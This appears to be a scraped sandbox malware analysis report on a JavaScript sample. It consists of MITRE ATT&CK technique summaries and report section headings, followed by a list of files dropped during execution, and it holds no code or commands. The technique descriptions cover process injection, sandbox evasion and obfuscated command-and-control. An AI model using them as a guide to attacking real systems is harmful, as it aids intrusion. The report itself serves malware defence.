Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 187637497286212310.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\97881aa0-3fae-4af1-9f7d-c8f5b722286e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8052

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
187637497286212310.js